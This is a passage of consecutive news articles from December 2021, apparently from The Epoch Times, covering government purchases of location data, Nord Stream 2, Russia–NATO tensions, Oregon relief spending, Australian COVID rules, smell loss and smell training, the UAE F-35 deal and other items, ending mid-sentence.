data from a variety of sources, including ordinary apps. In the Venntel system, agencies can access a panel where users view the locations of smartphones over time, with data sourced from many companies and ad firms, as well as apps including weather apps, the report reads. The FBI also seeks certain GPS, internet, and social media footprint information from companies such as Thomson Reuters and RELX Group, according to the report. The Drug Enforcement Administration (DEA), IRS, Immigration and Customs Enforcement, and the Secret Service have all used a company known as Babel Street. This companys Locate X software provides a history of device location data derived from apps or online adtech services. The company has been secretive about the capabilities program. One DEA contract with Babel Street for $220k merely references data collection, the report reads. The Marine Corps Intelligence Surveillance Reconnaissance Enterprise uses a database from Thomson Reuters that provides a live gateway to cell phone data, according to the report. CDT blamed gaps in U.S. legislation for the situation. Government attorneys have interpreted the Fourth Amendment to allow federal agencies to purchase data from companies, while consumer protection laws dont cover data brokers because they dont interact directly with consumers. Theres a loophole in ECPA [Electronic Communications Privacy Act] allowing data brokers to obtain non-content communications data, and then, because data brokers are not regulated by that law, to turn around and sell that information to government agencies, CDT Policy Director Samir Jain said in a statement. Similarly, although the Supreme Courts expansive language in Carpenter v. United States suggests that the government must also obtain a warrant in order to access sensitive personal information government agencies have adopted narrow interpretations under which purchases of sensitive data from brokers are permitted without a warrant or other legal process. To close the legal loopholes, the CDT has endorsed the Fourth Amendment is Not for Sale Act, which was introduced in April by Sens. Ron Wyden (D-Ore.) and Rand Paul (R-Ky.). The measure would place warrant requirements on government purchases of bulk data and take away the U.S. attorney generals ability to give civil immunity to companies that unlawfully sell bulk data to government agencies. This legislation seeks to close the ECPA loophole that, as evidenced by this report, has enabled an entire lucrative industry around government contracts for data that the government should not access without appropriate legal process, the CDT stated. The Fourth Amendment is Not for Sale Act has the bipartisan support of 20 cosponsors, but the measure has yet to receive a hearing. Not everyone agrees that the government purchasing of private data is the problem that privacy activists and civil libertarians make it out to be. On the Nov. 22 episode of the Cyberlaw Podcast, former Department of Homeland Security (DHS) official Paul Rosenzweig said federal agencies should be able to make the same data transactions as private entities. To say that the federal government may not purchase on the open market the same products that Walmart can purchasethe government is acting as a consumer like anyone else, said Rosenzweig, former DHS deputy assistant secretary for policy. For privacy advocates to contend that the government as a consumer should be in a different position from any other commercial purchaser is just senseless. The logo of the Nord Stream 2 gas pipeline project is seen on a pipe at the Chelyabinsk pipe rolling plant in Chelyabinsk, Russia, on Feb. 26, 2020. (Maxim Shemetov/Reuters) Nord Stream 2 Gas Unlikely to Flow if Russia Renews Aggression on Ukraine, Blinken Warns U.S. Secretary of State Antony Blinken warned that Russian aggression toward Ukraine will jeopardize the functioning of the Nord Stream 2 gas pipeline during a Sunday appearance on Meet the Press. If Germany were more open to, essentially, shutting down the Nord Stream 2 pipeline, do you think Vladimir Putin would pay more attention? asked Chuck Todd during Sundays interview. That pipeline doesnt have any gas flowing through it right now, said Blinken. And, in fact, its a source of leverage on Russia, because to the extent President Putin wants to see gas flowing through that pipeline, if and when it becomes operational, its very unlikely or hard to see that happening if Russia has renewed its aggression on Ukraine. This interview comes as Russia amasses troops on its border with Ukraine, now numbering upwards of 120,000 according to Ukrainian intelligence. Whereas previous troop movements along the Ukrainian border have been justified as routine military exercises, Putin has made no such explanation of these recent deployments. Putin has made no secret of his irredentist ambitions on Ukraine, which he views as a rightful extension of historical Russian territory. Since its inauguration in 2011, the Nord Stream pipeline has been a source of controversy. The United States has opposed the project for allegedly allowing a greater degree of Russian influence in Central Europe by providing a supply of natural gas directly. Meanwhile, because the pipeline runs underneath the Baltic Sea, it allows Russia to bypass land intermediaries such as Ukraine and Belarus. This would allow Russia to turn off the pipelines in order to deprive those border countries of gas while still maintaining a direct flow to Central Europe, giving Russia more leverage over the border countries. Nord Stream 2 was completed in September of this year after the Biden administration lifted sanctions on Russia, but the flow of gas has been delayed by the fragile geopolitical situation. Nuclear Missiles Could Be Moved to Europe Absent a NATO Pullback: Russian Official Citing the resurrection of a U.S. Cold War-era military command in Europe and NATOs plans to counter the missile threat from Russia, a Russian official said this week that his country would respond in kindalluding to the deployment of nuclear-capable missiles into Europe. The closer such systems appear to our borders, the higher the risks of destabilization, the more definite the contours of a new crisis, which, in fact, can be comparable in its degree of danger to the Caribbean crisis [Cuban missile crisis], Deputy Foreign Minister Sergei Ryabkov told RIA Novosti, the Russian state-owned news agency. Lack of progress toward a politico-diplomatic solution to this problem will lead to the fact that our response will be military and military-technical. That is, it will be a confrontation. It will be the next round. It will be the emergence of such means on our part. Ryabkov said the alternative to this escalation would be a legally binding pullback of NATO long-range weapons and other activities from near Russian borders. On Nov. 8, the U.S. Army reactivated the 56th Artillery Command in Europe, which last served on active duty from 1986 to 1991 and was responsible for nuclear-capable Pershing ballistic missiles. The command was inactivated in 1991 in conformity with the Intermediate-Range Nuclear Forces Treaty (INF), which sought to limit the types of weapons pursued by the United States and the Soviet Union (and then Russia). The United States pulled out of the treaty in 2019, citing Russian violations. Being free of the treaty, the United States reactivated the command, enabling it to deploy long-range weapons in Europe. It will further enable the synchronization of joint and multinational fires and effects, and employment of future long-range surface to surface fires across the U.S. Army Europe and Africa area of responsibility, Maj. Gen. Stephen J. Maranian, commander of the 56th Artillery Command, said in Nov. 3 press release. Military news site Military.com reported that the commands mission would be non-nuclear in nature. We have no intentions of deploying nuclear-capable missiles in Europe, NATO Secretary-General Jens Stoltenberg said, speaking about Russia in late November. But of course, we need to respond when we see Russia constantly violating arms control agreements that led to the demise of, for instance, the INF Treaty that banned all intermediate-range weapon systems, when they test and deploy new advanced nuclear-capable systems. Then, of course, we need to make sure that we continue to have credible deterrence and defense in a changed security environment. The United States already has nuclear weapons stored in Europe, which arent armed and would need to be delivered by aircraft, according to the Center for Arms Control and Non-Proliferation. Ryabkovs comments to RIA Novosti, published on Dec. 13, were well noticed by media outlets. However, he also interviewed with Russian newspaper Izvestia on the same day and provided additional insight into Russias perspective. When asked if red lines could be marked jointly with the United States, Ryabkov said it was inherently impossible due to such a wide gap in our approaches to international affairs and priorities in the so-called Euro-Atlantic. But Ryabkov said that despite these obstacles, Washington and Moscow do agree on one crucial thing. There is only one red line we have marked jointly, which is very good, he said. I am referring to the unacceptability of a nuclear war. Tensions between Russia and NATO have increased recently with Stoltenberg expressing concern that Russia is amassing 100,000 troops near Ukraines border. Moscow sees Kievs alignment with Western countries very negatively and considers an eventual adhesion of Ukraine into NATO as a red line. Countries such as France and the United Kingdom have said they would defend Ukraines territorial integrity. When opening a conference on NATO deterrence on Dec. 13, Stoltenberg said that any Russian aggression will come at a high price. He will receive Ukrainian President Volodymyr Zelensky at NATO headquarters on Dec. 16. The company logo for Oracle Corp. is displayed on a screen on the floor at the New York Stock Exchange, on Sept. 18, 2019. (Brendan McDermid/Reuters) Oracle Makes Cloud Region Debut in Nordics Oracle Corp. marked its cloud region debut in the Nordics in Stockholm and Milan, Italy. Oracle already has cloud regions in Germany, the Netherlands, France, the UK, and Switzerland in Europe. Reuters reports that including the two new regions, it will have facilities in 36 regions worldwide, with plans to add eight more by the end of next year. Cloud computing companies have set up new data centers across Europe to cater to clients shifting from in-house digital storage and computing to leased cloud servers. The companies include Oracle, Microsoft Corp., Amazon.com Inc., and Alphabet Inc.s Google. Oracle has already signed contracts with potential customers in Europe and aims to open a second region in France and one in Spain. By Anusuya Lahiri 2021 The Epoch Times. The Epoch Times does not provide investment advice. All rights reserved. Oregon to Spend $400 Million on Rent and Drought Relief, Illegal Marijuana Crackdown, Afghan Resettlement Oregon lawmakers have approved a $400 million bipartisan spending package to prevent mass evictions, crack down on illegal marijuana cultivation, help farmers and ranchers affected by drought, and provide funds to resettle Afghan refugees. The Dec. 13 special session was convened in response to a Nov. 30 request from Gov. Kate Brown, a Democrat, who had called legislators back to the Capitol to address a pandemic-related rental relief program after the state ran out of federal funding. Tens of thousands of Oregon renters have applied for rental assistance, said Brown. While we have made significant progress in improving the delivery of rental assistance in the last several weeks, we know that renters and their landlords are counting on these additional state resources and that we must move quickly. In the ensuing weeks, legislators expanded the agenda through bipartisan negotiations. During the one-day session, the Legislature allocated $215 million to prevent pending evictions and transition to locally delivered eviction prevention services, recoup lost rent for landlords, and help agencies that have been criticized for not getting emergency money out the door more quickly. Oregon Housing and Community Services (OHCS) said it distributed more than $381 million in emergency rental assistance in the past 11 months, more than every year in the prior decade combined. This month, the statewide rental assistance program stopped taking new applications after all $289 million of federal funds have been committed to renters. Due to a backlog, $119 million has yet to reach renters. We are quickly processing as many applications as possible so that landlords can be made whole, and tenants can remain safely and affordably housed, OHCS Executive Director Margaret Salazar said in a statement provided to The Epoch Times. Republican lawmakers have been critical of the services mismanagement of the application backlog and said the agency must be held accountable. State Rep. Christine Drazan, a Republican and candidate for governor, called on Brown to fire Salazar, saying the agencys efforts at distributing rental assistance money had been grossly inadequate. This unnecessary special session was called because of yet another state agency failure, Republican House caucus leader Vikki Breese-Iverson said in a statement. For months, the agency failed to distribute timely relief to renters and property owners, promising improvements that never came despite millions of dollars from the Legislature. Legislators also approved a $100 million drought relief package to support farmers and ranchers across the state, who have been affected by drought, heat, or fire. They further instructed the Oregon Department of Agriculture (ODA) to establish a new disaster assistance program. Over the last two years, Oregon has experienced one natural disaster after another, with the pandemic on top of all of that, ODA Director Alexis Taylor said in a public statement. I have heard from so many Oregon farmers and ranchers who are concerned how they will make it through next year. The funds will keep many operations afloat until the USDA develops its federal disaster program that is expected to be announced by mid-2022, she said. The Oregon Farm Bureau and our partners have been working toward this package since early this summer, and we are grateful that the Legislature was able to secure its passage today, added Mary Anne Cooper, vice president of government affairs at the Oregon Farm Bureau. Relief to producers impacted by this years natural disasters cannot come soon enough. Advanced by Republicans, the Legislature allocated $25 million to address the proliferation of illegal cannabis cultivation across the state. Joe Bidens border crisis has planted roots in Southern Oregon as cartels engage in large-scale humanitarian crimes, Senate Republican leader Tim Knopp said in an email to The Epoch Times. These cartels have engaged in human trafficking, murder, assault, stolen water during extreme heat and drought. The funding package will help counties hire the law enforcement, and water masters, required to oversee the huge task they have in front of them, he said. The resources for enforcement of illicit cannabis and cannabis-related water theft are much needed, but long overdue, state Rep. Lily Morgan, a Republican, told The Epoch Times. This is not the final step, but it is an important one. U.S. Rep. Cliff Bentz (R-Ore.) weighed in. The crisis we are facing with foreign drug syndicates in Southern Oregon needs to be addressed by all levels of government: local, state, and federal, Bentz said in an email to The Epoch Times. I am encouraged to hear that Oregon is working to find further resources to address these problems. I will continue to work at the federal level to draw attention to this crisis, correct perceptions regarding the problem, and continue to seek federal assistance for the region. No matter how much we spend, we will continue to spin our wheels in this fight against the cartels if the southern border remains wide open, Knopp added. For the health and well-being of Oregon, President Biden and Congress must immediately address the humanitarian crisis at the border. Legislators approved $18 million to help Afghan refugees arriving in Oregon find housing, education, language and job training, and legal assistance. Oregon is one of only four states that provides funding for resettlement efforts, as the federal government works to relocate Afghans forced to evacuate. The [Biden] administration is providing funding to support resettlement for up to 95,000 individuals from Afghanistan during the current fiscal year, according to a statement on the U.S. State Department website. Oregon has committed to resettling 1,200 Afghan arrivals, but said existing federal funding doesnt provide adequate support for these efforts. The special session also approved $1 million to each of 14 cities to address affordable housing and homeless support, $2 million for gun violence prevention, and $5 million for a mass timber modular housing prototype project in Portland. Proof of Vaccination Mostly No Longer Required in Australian State The New South Wales (NSW) government has substantially lifted restrictions for everyone, including people who are not fully vaccinated, as the state nears a 95 percent vaccination ratethe last milestone of its reopening roadmap ahead of Christmas holidays. Proof of vaccination will no be longer required for public activities but businesses can still choose to require proof at their own discretion. People will still be required to show proof of vaccination at airports, music festivals with more than 1,000 people, and if they work in certain industries, such as health care, aged care, and education workers. All density limits have been lifted so the limit on the number of people allowed at homes is removed. Businesses also no longer need to restrict customer numbers. Masks are now only required on public transport and planes, at airports, and for indoor customer-facing hospitality staff who are not fully vaccinated. QR check-ins will now only be required at high-risk indoor venues which include hospitals, aged and disability care facilities, gyms, personal services such as hairdressers and beauty salons, places of worship, funeral services, and certain hospitality settings such as pubs and nightclubs. A user registers their SafeWA app before entry to a hotel in Perth, Australia, on Dec. 5, 2020. (Stefan Gosatti/Getty Images) Meanwhile, close contacts will still be required to self-isolate and get a PCR test immediately. The NSW government has remained committed to reopening despite the emergence of Omicron, the new variant of the CCP (Chinese Communist Party) virus, which causes the COVID-19 disease. NSW Premier Dominic Perrottet told Australian broadcaster Alan Jones on Dec. 13 he was shocked that there were still so many commentators, politicians, and members of the public who would still prefer us to be locked down in circumstances where there is no need. Freedom is the default position. Governments should only be coming in circumstances where there is a high risk to peoples lives, and make tough decisions, Perrottet said. Senior medical adviser for NSW Health, Dr. Jan Fizzell, warned against complacency, saying managing existing health conditions was more important than ever. As the states reopen in time for Christmas and the holiday season, we are urging NSW residents to remain vigilant in managing their personal health and that of their family, Fizzell said. While being vaccinated against COVID-19 will likely lessen the symptoms of the disease and potentially protect you from hospital admission, it does not always completely prevent you from contracting and spreading the virus. She advised people to practise hand hygiene, wear masks when indoors and where social distancing is not possible. More than 93.2 percent of eligible NSW residents are fully vaccinated, with 94.8 percent being partially vaccinated. The state is now rolling out booster shots, with fully vaccinated people aged 18 and over eligible five months after receiving a second jab. Qantas will launch Australia's only direct flight to continental Europe from June, 2022. (Qantas) Qantas to Launch Nation-First Perth to Rome Direct Flights in 2022 Qantas has announced it will launch the only direct flight from Australia to Europe from the middle of 2022 to meet demand over the peak European holiday season. From June 22 next year, Qantas will operate a Sydney to Rome via Perth return flight three times a week, cutting three hours off the current fastest route. The new route is set to complement the reinstatement of its Perth to London non-stop direct flight, expected to take off in April. It comes days after the state of Western Australia (WA) announced it would ease its hard border controls and reconnect with the rest of the country, and the world, on Feb. 5, 2022, after almost two years of isolation. Qantas CEO Alan Joyce said strong travel demand since the reopening of borders had given the company confidence to explore new destinations. Weve seen amazing demand on our direct service from Perth to London, Joyce said. These are exciting destinations and theres strong evidence the pandemic is making non-stop flights between Australia and the rest of world even more desirable as we learn to live with the virus and its variants. Italy is the largest market for Qantas in continental Europe for Australians visiting family and friends, Joyce said. Australians can look forward to reuniting with friends and family in Italy in the middle of 2022. (Qantas) We think customers will love flying direct to one of the worlds great cities to spend time with loved ones or enjoy Italy, he said. Tickets for the new Sydney-Perth-Rome route are already on sale from $1,785 (US$1,271) return on the Boeing 787 Dreamliner aircraft, which is designed specifically for long haul travel. Direct flights connecting Perth with Rome will be a game-changer for WAs economy as Western Australia safely re-engages with the world, WA Premier Mark McGowan said. These new flights, together with our Reconnect WA Plan, will help diversify our economy and help support new jobs in our tourism and hospitality sector. In 2019, an estimated 11,100 visitors from Italy flew to WA and spent an estimated $29 million (US$20.7 million). Todays announcement by Qantas could not have come at a more exciting time as we prepare to welcome the return of international visitors to Western Australia in 2022, Tourism Minister David Templeman said. Grounded Virgin planes are seen parked on a tarmac at Brisbane Airport in Brisbane, Australia, on April 21, 2020. (Jono Searle/Getty Images) Queensland Reverses Christmas Isolation Direction for Flight Passengers The majority of passengers on two domestic flights in the Australian state of Queensland will no longer need to spend Christmas isolating after being reduced to casual contact status on Wednesday, after a man onboard later tested positive to COVID-19. Queensland Health Minister Yvette DAth revealed that after lengthy discussions overnight, including consultations with chief health officers from other states, Queensland Chief Health Officer John Gerrard decided that only those passengers sitting near the infected man will be deemed close contacts. This comes after Queensland reopened its borders to interstate hotspots on Monday, and a Defence Force employee flew from Newcastle to Brisbane and then on to Townsville that day, unaware he was a close contact of a positive case until he was advised after arriving in Townsville, ABC reported. The man got tested immediately and went into quarantine, later returning a positive result, and until the recent change of decision all passengers on Virgin flights VA1105 and VA375 with him would have been considered close contacts and therefore required to isolate for 14 days, regardless of whether they tested negative. Before news of the update, Innes Wilcox, Chief Executive of Australian Industry Group, had said forcing all the passengers to quarantine would deter travel, and said the Queensland government was overreacting, reported ABC. Why Queensland hasnt done what other states have done and said just the people sitting around this person should be considered close contacts rather than the whole plane is just unbelievable, he said. What this will do is deter people from travelling to Queensland as there is no certainty. DAth said that it was the first domestic flight into Queensland with a potential case of Omicron on board, so the public health unit acted cautiously, considering whether to take a different approach with Omicron, or apply the normal rules, whereby only those sitting immediately around the infected person are deemed close contacts. Ive been advised this morning that the Chief Health Officer and the deputies have viewed that we can apply the normal rules in relation to these flights, and we dont need to wait till we get the findings of whether its Omicron, because if it is, we will still apply these rules, she said. Most passengers on both flights will now get to spend Christmas with their loved ones. Loss of sense of smell, a condition known as anosmia, has emerged as a hallmark symptom of COVID-19. Its estimated that 33.9% to 68% of COVID-19 patients and as high as 98%, according to one study experience some type of olfactory dysfunction, which is often regarded as more of an inconvenience than an actual health threat. In reality, however, you may not realize how important your sense of smell is until its gone. When you lose your sense of smell, you also lose your normal sense of taste. In the case of COVID-19, anosmia often occurs alongside dysgeusia, an altered or impaired sense of taste. In fact, the combination of anosmia/dysgeusia was a far better predictor of COVID-19 than other common symptoms like fever/chills or respiratory difficulty. Its mentally tough knowing the foods you used to love now simply taste like sewage. I no longer crave food or enjoy eating. Its a chore, Lucy Packman, a university student who developed COVID-19 along with anosmia in March 2020, told Medium. Beyond that, cutting off your sense of smell detaches you from the environment in ways that can be isolating like an inability to smell your partner or your baby or dangerous, such as missing the scent of something burning. The silver lining in COVID-19 is that 89% of those with an altered sense of smell had complete resolution or improvement in severity after four weeks. For those whose smell impairment is ongoing, or caused by one of the many risk factors beyond COVID-19, smell training may be the key to regaining this invaluable asset. What Causes Loss of Smell? COVID-19 aside, there are many reasons why you may lose your sense of smell. The common cold is among the most common, along with other illnesses like influenza, sinus infections, hay fever and nonallergic rhinitis. Virtually anything that causes your nasal passageways to become obstructed, including tumors, nasal polyps or nasal deformity, can also interfere with your sense of smell, as can conditions that impair your olfactory pathways, which transmit messages between your nasal passages and brain. A variety of neurological conditions, certain medications and even advancing age can also affect your sense of smell. As you age, especially beyond age 70, loss of nerve endings and less mucus production in your nose may diminish smell, in part because mucus plays a role in keeping odors in the nose longer, so they can be detected by the nerve endings there. Its estimated that 62.5% of 80- to 97-year-olds have some type of olfactory impairment, while even about 12% of people over the age of 40 may have some trouble smelling, along with close to 25% of men in their 60s. One important side note: Those with vitamin D deficiency are more likely to have smell impairment, and researchers believe this deficiency may play a significant role in age-related smell and taste impairment. This is especially relevant since vitamin D deficiency is also linked to COVID-19. The following health conditions can also cause a dulling or diminishment of the sense of smell: Alzheimers disease Brain aneurysm Brain surgery Cancer Chemical exposures to insecticides or solvents Diabetes Huntingtons disease Kallmanns syndrome Klinefelters syndrome Korsakoffs psychosis Malnutrition Multiple sclerosis Multiple system atrophy (MSA) Pagets disease Parkinsons disease Picks disease Radiation therapy Rhinoplasty Schizophrenia Sjorgrens syndrome Traumatic brain injury Zinc deficiency Lost Your Ability to Taste? It Could Be Anosmia As mentioned, when you lose your sense of smell, your taste goes along with it. Ann-Sophie Barwich, a cognitive scientist and assistant professor in the department of history and philosophy of science and medicine at Indiana University Bloomington, explained in STAT: Many people dont immediately recognize theyve lost their sense of smell, but instead report theyve lost their sense of taste. Most of what you think of as the taste of your food and drink, however, is actually due to smelling. When you chew, aromatic molecules are released from your food. These molecules travel up to your nose via the pharynx, the opening at the back of the throat that connects the mouth with the nasal cavity. Think about it for minute. Your tongue detects salty and sweet, bitter and sour, umami (savory) and, according to recent research, fatty. There are no taste buds for mint or strawberry or vanilla. These flavors are created via mouth-smelling, a process known as retronasal olfaction. It acts as a second sense of smell. This is one reason why anosmia is far more than an inconvenience or minor annoyance. Not only can you no longer detect if youve eaten something spoiled, which would prompt you to quickly spit it out, you can no longer enjoy your favorite foods and the scents that go along with them. Odor-evoked memories also come along with powerful emotions and are known to activate the neurolobiological substrates of emotional processing, according to neuroscientist Rachel S. Herz, an adjunct assistant professor of psychiatry and human behavior at Brown University. Research published in Learning and Memory even suggests that odors may modulate the dynamics of memory consolidation, and, by boosting mood, lowering stress and reducing inflammation, its likely that the powerful emotions elicited by positive odor-evoked memories can influence psychological and physiological health. Without your sense of smell, however, you miss out on experiencing those powerful, odor-evoked memories. Two of the great joys in peoples lives are the sensations of smell and taste, says Dr. R. Peter Manes, an ear, nose and throat specialist at Yale Medicine. When these senses are altered or absent, people lose that pleasure and can feel isolated from those around them who are not afflicted. Losing Your Sense of Smell Is Linked to Serious Health Risks In a study of 3,005 community-dwelling adults, those who had a dysfunctional sense of smell were more likely to die in the next five years than those with a good sense of smell. Olfactory function was deemed to be one of the strongest predictors of five-year mortality, and researchers suggested it may serve as a bellwether for slowed cellular regeneration or as a marker of cumulative toxic environmental exposures. Another study of adults aged 71 to 82 also found those with poor olfaction had a 46% higher cumulative risk for death after 10 years compared to those with a good sense of smell, and poor olfaction was associated with a higher risk of death from neurodegenerative and cardiovascular diseases. An inability to identify odors is also an early symptom of neurological disorders, including Alzheimers disease and Parkinsons disease. Beyond the physical risks, losing your sense of smell can cause psychological distress. People with smell and taste disorders often report a negative emotional impact, including feelings of isolation and problems with relationships and day-to-day functioning. Among COVID-19 patients, smell and taste loss were associated with depressed mood and anxiety, while fever, cough and shortness of breath were not, even though the latter may be harbingers of more dire COVID19 outcomes, highlighting the power that these senses have over your emotional well-being. In a Harvard Health Blog post detailing his own experience with loss of smell and taste, Leo Newhouse, LICSW noted: Our senses smell, vision, hearing, taste, and touch are bridges that connect us to the world we live in, to life itself. Knock out two of the five bridges, and 40% of our sensory input is gone. Senses add richness and texture to everyday life; they are intricately tied in with our emotions. Retraining Your Nose How to Smell Treating anosmia involves identifying its underlying cause and addressing it at the foundational level. Loss of smell due to a cold or influenza, for instance, should resolve along with the viral infection. In some cases, however, the cause of the olfactory dysfunction is unknown, making treatment difficult. AbScent, an organization providing support to those affected by anosmia and other smell disorders, has developed the Sense of Smell Project in collaboration with patients with smell disorders and scientists. Theyve developed a smell training app for members of the project, and also a simple smell training protocol designed to help those who have lost their sense of smell for two weeks or more to regain the sense. The training is based on the protocol first described by professor Thomas Hummel of the Universitatsklinikum Carl Gustav Carus in Dresden, Germany. He published research in 2009 showing that olfactory training involving exposure to four intense odors (rose, eucalyptus, lemon and clove) twice daily for 12 weeks led to an increase in olfactory function. To try it, all you need is four different fragrances, such as those Hummel used rose, lemon, clove and eucalyptus essential oils. Essential oils are ideal for scent training due to their highly concentrated scents. Once youve gathered your fragrances, actively sniff each scent for about 20 seconds a couple of times a day, such as immediately after waking up and before going to bed. AbScent explains: Open a jar and hold it close to your nose. Take some gentle sniffs for 20 seconds. During this time, concentrate on what you are doing. Keep your mind on lemon for instance, or one of the other smell training smells. Try to block out any intrusive thoughts. Be as attentive as you can and try to recall what your experience of lemon was. Close the jar after 20 seconds and take a few breaths. Then go on to the next jar. Smell Training May Strengthen Neural Pathways The basis for smell training is that using a neural pathway, such as that used by your olfactory nerve cells, reinforces and strengthens it. According to cell biologist Nancy Rawson, associate director at the Monell Center in Philadelphia, in an interview with AbScent founder Chris Kelly, Not only is smell training helping the olfactory receptor cells, but it also is helping to create pathways in the brain that will be better able to receive, interpret and remember the information that it is getting. Research trials suggest smell training is beneficial in many cases, and, when used in people with a normal sense of smell, can enhance the sense to the level of a high-performing group of wine professionals. This suggests the olfactory system is highly responsive to training, according to researchers in the journal Chemical Senses. In another study involving 10 anosmic patients and 14 healthy controls, a 12-week smell training session significantly increased the sensitivity to detect odors in the anosmic group, and modifications in the functional connections of networks used to process chemosensory input were also noted. Another study in adults aged 50 to 84 found significant improvement in olfactory function after olfactory training (OT), along with improved verbal function and well-being, and decreased depressive symptoms, with researchers concluding, OT may constitute an inexpensive, simple way to improve quality of life in older people. Even if you feel its too soon to try retraining your sense of smell, its important to give the training a try. AbScent notes that the earlier you begin, the greater the benefit to you in the long run. Considering theres no risk involved to giving it a try, and the process takes only a few minutes a day using scents that are easily accessible, theres every reason to give scent training a try if youre experiencing any level of anosmia. Also, as noted, since vitamin D deficiency is associated with smell and taste impairment, be sure to get your vitamin D levels tested and optimized. An overall healthy lifestyle will also support healthy olfaction, and exercising even one time a week long enough to break a sweat may reduce your risk of losing your sense of smell as you age. Resources Israeli Prime Minister Naftali Bennett (L), received by an honor guard and the UAE Foreign Minister, Sheikh Abdullah bin Zayed Al Nahyan, in Abu Dhabi, UAE, on Dec. 12, 2021. (Haim Zach/Israel Government Press Office via AP) Sale of 50 F-35 Stealth Jets to United Arab Emirates Will Move Ahead The United States has announced that its advancing on a $23 billion defense deal with the United Arab Emirates (UAE) after the Arab state threatened to pull out following disagreements regarding issues concerning Chinese espionage in the country. The deal includes 50 top-of-the-range F-35 Lightning II stealth jets from Lockheed Martin valued at about $10.4 billion, 18 MQ-9B drones worth $3 billion, and $10 billion in advanced munitions. Only certain countries are allowed to purchase the U.S.-made F-35s, as their unmatched stealth technology is being kept under wraps by the U.S. government. The deal to sell F-35s to the UAE government was signed after former President Donald Trump initiated the Abraham Accords, under which there was a normalization of relations between Israel, the UAE, and Bahrain. However, Washington needed to ensure that Israel had a military edge when it came to firepower in the Arabian Gulf region. Weve wanted to make sure, for example, that our commitment to Israels qualitative military edge is assured, so we wanted to make sure that we could do a thorough review of any technologies that are sold or transferred to other partners in the region, including the UAE, U.S. Secretary of State Antony Blinken said in Kuala Lumpur, Malaysia, on Dec. 15, as he confirmed moving ahead with the deal. The Biden administration had raised suspicions regarding the deal, including concerns about the UAEs dependence on Huaweis 5G technology, which could result in sensitive technology being leaked to Beijing. Washington had put pressure on the UAE to reduce its exposure to Chinese telecom companies, especially in military-sensitive areas, and talks regarding the issue had dragged on for more than a year without being resolved. This resulted in the UAE government threatening to pull out of the deal, citing increasing U.S. pressure. The UAE has informed the U.S. that it will suspend discussions to acquire the F-35, a UAE official told The Wall Street Journal. Technical requirements, sovereign operational restrictions, and the cost/benefit analysis led to the reassessment. According to the Journal, the letter was written by a relatively low-level employee in the Arab nations government, indicating that it could be a negotiating tactic before a visit by a UAE military delegation to the Pentagon. The UAE had purchased defense equipment worth more than $19 billion, including 80 Rafale jets and 12 Caracal helicopters, from French companies Dassault Aviation and Airbus more than a week ago, as Sheikh Mohamed bin Zayed al-Nahyan has strengthened his relationship with French President Emmanuel Macron. However, the United States remains the UAEs preferred provider for advanced defense requirements, a UAE official told Reuters regarding the back-and-forth concerning defense purchases. The BidenHarris administration remains committed to the proposed sales of F-35 aircraft, the MQ-9B, and munitions, even as we continue consultations to ensure that we have a clear, mutual understanding of Emirati obligations and actions before, during, and after delivery, a State Department spokesperson said, according to Breaking Defense. Other nations that can purchase the prestigious fighter jet include the UK, Australia, Netherlands, Italy, Canada, Denmark, and Norway. There are also agreements with Singapore, Poland, Belgium, Japan, and South Korea. According to manufacturer Lockheed Martin, the F-35 is the most lethal, survivable, and connected fighter jet in the world. A man rides a bicycle along the San Diego Creek in Irvine, Calif., on Dec. 14, 2021. (John Fredricks/The Epoch Times) San Diego Man Arrested by Feds, Charged in $28 Million Investment Fraud SAN DIEGOA San Diego man has been charged with securities fraud and money laundering for allegedly running an investment fraud scheme that took at least $28 million from investors over the past five years, according to an indictment unsealed Dec. 14. Denny Bhakta, 39, allegedly solicited investments for his companies, Fusion Hotel Management, LLC and Fusion Hospitality Corporation, then used investors funds on personal expenses and to pay off other investors. According to a complaint filed against Bhakta by the U.S. Securities and Exchange Commission, millions of dollars taken from investors were gambled and lost at casinos. The U.S. Attorneys Office alleges Bhakta told investors that his companies would purchase discounted blocks of hotel rooms from Hilton, then sell those rooms for a profit to United Airlines. Bhakta allegedly provided fabricated bank records and fake agreements with Hilton and United Airlines to make Fusions purported business dealings appear legitimate. Bhakta was arrested Tuesday morning at his San Diego residence. Dr. Robert Califf, President Joe Biden's nominee to head the Food and Drug Administration, is seen before his nomination hearing in Washington on Dec. 14, 2021. (Manuel Balce/AP Photo) Sanders Joins Manchin in Opposition to Bidens FDA Commissioner Nominee Sen. Bernie Sanders (I-Vt.) on Tuesday announced he will oppose the nomination of Dr. Robert Califf to head the Food and Drug Administration (FDA). Sanders, a nominal independent who caucuses with Democrats, joins Sen. Joe Manchin (D-W.Va.) in opposing Califf, who President Joe Biden nominated to head the FDA last month. In the 5050 Senate, that means Califf would need support from at least two Republicans to win the job. During a nomination hearing on Capitol Hill, Sanders noted that 9 out of the last 10 FDA commissioners have gone on to work for the pharmaceutical industry or to serve on a drug companys board of directors. Unfortunately, Dr. Califf, you are not the exception to that rule. Since you left the FDA in 2017, you have made several hundred thousand dollars from pharmaceutical companies and have received consulting fees from multiple drug companies, Sanders said. Additionally, a disclosure form submitted to the Senate showed Califf owns millions of dollars in stock in major pharmaceutical companies. At a time when the American people are outraged by the high cost of prescription drugs, deeply disturbed about what happened with Perdue and oxycontin, what kind of comfort can you give to the American people when you have been so closely tied to the pharmaceutical industry yourself? How are they going to believe youre going to be an independent and strong voice against this enormously powerful special interest? Sanders wondered. Sen. Bernie Sanders (I-Vt.) speaks in Washington in a file photograph. (Chip Somodevilla/Getty Images) Califf said he appreciated the senators concerns and believes drugs cost too much. He also said he has a history of being an independent voice and that he signed the Biden administrations ethics pledge. Sanders wasnt satisfied with the answer. Dr. Califf is not the leader Americans need at the FDA and I will oppose his nomination, he said in a statement after the hearing. Califf, who was an FDA commissioner during the Obama administration, also drew opposition from Manchin, who voted against him in 2016. I have made it abundantly clear that correcting the culture at the FDA is critical to changing the tide of the opioid epidemic. Instead, Dr. Califfs nomination and his significant ties to the pharmaceutical industry take us backwards not forward, Manchin said in an earlier statement. At least one Republican, though, has pledged support for the nominee. I believe you bring a unique skillset at a pivotal time in global innovation, Sen. Richard Burr (R-N.C.), the ranking member on the Senate Health Committee, said at the end of the hearing. Sen. Patty Murray (D-Wash.), the chairwoman of the panel, also said she will vote for Califf. A vote isnt scheduled yet. Califf during the hearing described himself as an evidence-based person who has little to gain from becoming commissioner again. A fissure is seen next to a house covered with ash on the Canary island of La Palma, Spain, on Dec. 1, 2021. (Emilio Morenatti/AP Photo) Scientists Cautious as Erupting Spanish Volcano Falls Quiet MADRIDA volcano that has been spewing lava in Spains Canary Islands for almost three months fell quiet Tuesday, though scientists warned the 